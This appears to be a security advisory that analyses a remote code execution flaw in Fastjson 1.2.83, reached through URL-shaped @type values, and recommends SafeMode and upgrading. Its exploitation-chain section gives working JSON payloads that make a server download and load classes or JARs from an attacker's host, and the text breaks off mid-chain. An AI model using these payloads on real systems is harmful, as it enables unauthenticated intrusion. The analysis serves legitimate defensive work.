GCSA Insight: Deep Analysis and Defense Guide for Fastjson 1.2.83 "Gadget-Free" Vulnerability (0day)
- Core Insight: Even with the default AutoType disabled, Fastjson 1.2.83 can bypass security checks by crafting a user-controlled @type value as an absolute URL. It can then directly load and instantiate a malicious class annotated with @JSONType from a remote source, enabling Remote Code Execution (RCE) without requiring traditional Gadgets.
- Key Elements:
- Fastjson's
ParserConfig.checkAutoTypemethod replaces dots in the @type value with slashes and then uses it as a resource name forClassLoader.getResourceAsStream. This operation does not restrict URL protocols, allowing remote resources to be loaded. - An attacker can add a
@JSONTypeannotation to a remote class. When Fastjson detects this annotation, it treats the class as authorized, bypassing subsequent dangerous base class checks and type compatibility checks, directly returning and instantiating the class. - In modern JDK 17+ environments, attackers can construct a type name like
jar:http:...to make the JVM download a remote JAR and create a temporary cache. They then usejar:file:/proc/self/fd/N!...to open the cache file descriptor, completing the RCE in stages. - By appending an
Exceptionsuffix to the @type value, Fastjson can be made to returnnullinstead of throwing an exception when class loading fails. This "soft return" ensures the payload can continue execution in the array parsing chains of different JDK versions. - This vulnerability has been successfully reproduced in JDK 8/17/21/25 and in Spring Boot Loader isolated environments. Using a fixed second parameter for
JSON.parseObjectis ineffective in defending against it.
- Fastjson's

Abstract
In traditional Java deserialization vulnerability defense systems, the industry generally holds the following cognitive blind spots: "AutoType disabled by default means safe," "Fixing the second parameter (top-level target type) of parseObject means safe," "Clearing the local Classpath of deserialization gadget dependencies means safe." However, the latest evolution in technical offense and defense has completely shattered these false senses of security.
Today, the GCSA Global Cybersecurity Alliance exclusively releases this technical insight report. The report deeply analyzes the root cause of how Fastjson 1.2.83, even with AutoType=false by default, can still trigger Remote Code Execution (RCE) without relying on traditional gadget dependencies. Currently, this exploitation technique has been successfully reproduced end-to-end in JDK 8 / 17 / 21 / 25 and Spring Boot Loader isolated environments. This vulnerability is not a traditional case of "bypassing the blacklist to find local gadgets"; rather, it directly twists Fastjson's own class metadata detection logic into a channel for fetching and authorizing remote malicious classes.
The following is the main text.
- Publisher: GCSA Global Cybersecurity Alliance
- Report Type: Exclusive Technical Insight / In-Depth Vulnerability Analysis Report
- Report Date: 2026-07-21
- Report Status: Source Code Audit & Isolated Environment Reproduction Completed
- Vulnerability ID: Internal Research ID
FJ-GETRESOURCE-RCE(No corresponding public CVE)
Fastjson 1.2.83 can still trigger remote code execution without requiring traditional gadgets, even with the default AutoType=false. This has been reproduced in isolated environments with JDK 8/17/21/25 + Spring Boot Loader. It is recommended to immediately enable SafeMode and migrate to Fastjson 2.x.
1. Executive Summary
Fastjson 1.2.83's ParserConfig.checkAutoType converts the user-controllable @type value into a class resource name and passes it to the current ClassLoader's getResourceAsStream:
String resource = typeName.replace('.', '/') + ".class";
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
In environments with fat-jar ClassLoaders capable of resolving absolute URL resource names, an attacker can use dot replacement to construct http:, jar:http:, and jar:file: URLs to download a malicious class annotated with @JSONType from the attacker's server. Upon detecting this annotation, Fastjson calls loadClass and returns the class directly, bypassing dangerous base class checks and target type compatibility checks. Arbitrary code can then be executed when the class is instantiated and initialized.
This exploitation does not rely on traditional deserialization gadgets present on the target classpath and can be triggered even under Fastjson's default AutoType=false setting. Fixing the target type of JSON.parseObject does not prevent execution; enabling SafeMode blocks the normal exploitation path before resource access occurs.
This report has completed reproductions in isolated Linux containers using the same JSON payload for the following configurations:
JDK ClassLoader Environment Fastjson Result Temurin 8 U492 Spring Boot Loader 2.7.18 1.2.83 RCE Successful Temurin 17.0.19 Spring Boot Loader 3.2.0 1.2.83 RCE Successful Temurin 21.0.11 Spring Boot Loader 3.2.0 1.2.83 RCE Successful Temurin 25.0.3 Spring Boot Loader 3.2.0 1.2.83 RCE Successful
2. Vulnerability Rating
Item Conclusion Vulnerability Type Unsafe Deserialization / Remote Class Injection / Remote Code Execution Recommended Severity High; Can be treated as Critical in verified deployment scenarios Attack Vector Network Remote Privileges Required None User Interaction None Confidentiality Impact High Integrity Impact High Availability Impact High Exploitation Complexity Depends on ClassLoader, outbound network capability, and OS file descriptor interface
It is not recommended to assign a uniform CVSS 9.8 based solely on the component version: the standard AppClassLoader serves as a negative control, and the full chain on modern JDKs also depends on a loader capable of resolving both types of absolute JAR URLs and /proc/self/fd. In applications meeting the positive environment conditions described in this report, the vulnerability results in unauthenticated network-based RCE.
3. Scope and Prerequisites
3.1 Confirmed Scope
- Runtime Confirmed: Fastjson 1.2.83.
- JDK Confirmed: 8, 17, 21, 25.
- OS Confirmed: Linux; reproduction on macOS using
/dev/fdhas also been completed for JDK 17/21/25. - Loader Confirmed:
- Spring Boot 2.7.18 classic loader + JDK 8; - Spring Boot 3.2.0 loader + JDK 17/21/25.
- API Confirmed:
JSON.parse, andJSON.parseObjectwith a fixed top-level type.
3.2 Version Range Explanation
The range 1.2.68–1.2.83 described externally is more suitable as a known testing range, not necessarily the version where the vulnerability was introduced. Source code verification indicates that the critical class resource probing logic existed in versions 1.2.67 and 1.2.68. This report only completes full cross-JDK runtime verification for 1.2.83 and cannot assert that all earlier versions possess exactly the same end-to-end exploitability conditions.
3.3 Required Conditions for Exploitation
- The attacker can control the JSON input passed to Fastjson, and the
@typewithin the input will be parsed. - SafeMode is not enabled.
- The ClassLoader loading Fastjson can resolve the constructed absolute resource name as a URL.
- The victim process can connect to the attacker's HTTP server.
- The modern Linux chain requires
/proc/self/fdto be readable, and the loader can parse
jar:file:/proc/self/fd/N!....
- The JDK needs to be able to create temporary caches for remote JARs; this usually requires the JVM temporary directory to be writable.
The attacker does NOT require:
- Writing files to the target classpath;
- Preloaded gadgets on the target classpath such as
TemplatesImpl, JNDI, C3P0, Commons Collections; - Enabling Fastjson AutoType;
- Controlling the second parameter of
JSON.parseObject.
4. Root Cause Analysis
4.1 User-Controlled Type Name Used as Resource URL
Source Location:
src/main/java/com/alibaba/fastjson/parser/ParserConfig.java:1479-1498
Core Code:
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
This logic assumes resource is just a normal classpath path, but it does not restrict the protocol, absolute path semantics, or source. For specific fat-jar loaders, the following input becomes an absolute URL after replacement:
Input Type Name: http:..localhost:18081.a Resource Name: http://localhost:18081/a.class
Thus, getResourceAsStream oversteps its bounds from local metadata query to attacker-controlled network resource loading.
4.2 Remote Class's @JSONType Used as Authorization Basis
Fastjson uses its own ASM ClassReader to parse the resource content:
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
The attacker only needs the remote class to carry Fastjson's @JSONType annotation to set jsonType to true. The check is performed on bytes provided by the attacker, not on a class already loaded from a trusted classpath.
4.3 jsonType Triggers Actual Class Loading
Source Location:
ParserConfig.java:1500-1503
TypeUtils.java:1759-1792
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
TypeUtils.loadClass tries, in order, the explicit loader, the thread context loader, and Class.forName. In a positive environment, the thread context loader will resolve the same absolute resource name again, download the class, and execute defineClass.
4.4 @JSONType Early Return Bypasses Subsequent Security Checks
Source Location:
ParserConfig.java:1505-1528
if (clazz != null) {
if (jsonType) {
return clazz;
} // These checks are performed after the jsonType is returned.
if (ClassLoader.class.isAssignableFrom(clazz)
|| DataSource.class.isAssignableFrom(clazz)
|| RowSet.class.isAssignableFrom(clazz)) {
throw new JSONException(...);
} if (expectClass != null) {
// assignability the check is also done later.
}
}
Therefore, once a remote class carries @JSONType:
- The dangerous base class check is not executed;
- The
expectClass.isAssignableFrom(clazz)check is not executed; - Fixing the data binding type cannot prevent execution before class initialization.
4.5 Exception/Error Suffix Creates a Soft Channel for Failure
Source Location:
ParserConfig.java:1537-1542
if (!autoTypeSupport) {
if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {
return null;
}
throw new JSONException("autoType is not support. " + typeName);
}
On modern JDKs, the first stage fails due to an illegal inner class name. By making the type name end with Exception, Fastjson does not terminate the entire JSON parsing but returns null, allowing the parser to continue processing FD enumeration elements within the array. This branch is key to executing a single payload across multiple stages.
4.6 Location of SafeMode
The SafeMode check is located before resource access:
ParserConfig.java:1325-1330
Therefore, SafeMode can prevent network requests in the default path. However, the AutoTypeCheckHandler is located before SafeMode (ParserConfig.java:1316-1323); if the application actively registers a handler that directly returns a type, it needs to be separately audited. SafeMode should not be understood as an absolute boundary that overrides custom handlers.
5. Detailed Exploitation Chain
5.1 JDK 8: Direct Remote Class Loading
Shortest Form:
{"@type":"http:..localhost:18081.a"}
Transformation Chain:
binary type name: http:..localhost:18081.a resource URL: http://localhost:18081/a.class class internal: http://localhost:18081/a
JDK 8 accepts the non-standard internal class name above. Spring Boot 2.7's LaunchedURLClassLoader downloads the class, completes definition, instantiation, and initialization, and the malicious <clinit> executes commands.
JDK 17+ also completes the network request but rejects the empty path segment in the internal name:
ClassFormatError: Illegal class name "http://localhost:18081/a"
Thus, the short http:.. form itself only achieves RCE on JDK 8.
5.2 Modern JDK Stage 1: Downloading Remote JAR
First element of the single payload array:
{"@type":"jar:http:..attacker:18081.x!.foo.Exception"}
Transformation Result:
resource URL: jar:http://attacker:18081/x!/foo/Exception.class
JDK's sun.net.www.protocol.jar.URLJarFile.retrieve creates a jar_cache* temporary file, copies the remote JAR into it, and then opens the JarFile. The cache is held by the victim JVM's process; the attacker does not need to know the random temporary filename and does not directly write to the victim file system.
JDK 17+ subsequently rejects the internal name from the first stage (jar:http://...), but Fastjson, due to the Exception suffix, continues parsing the array.
5.3 Modern JDK Stage 2: Reopening the Cache FD
Example of a subsequent candidate element:
{"@type":"jar:file:.proc.self.fd.7!.fd7.Exception"}


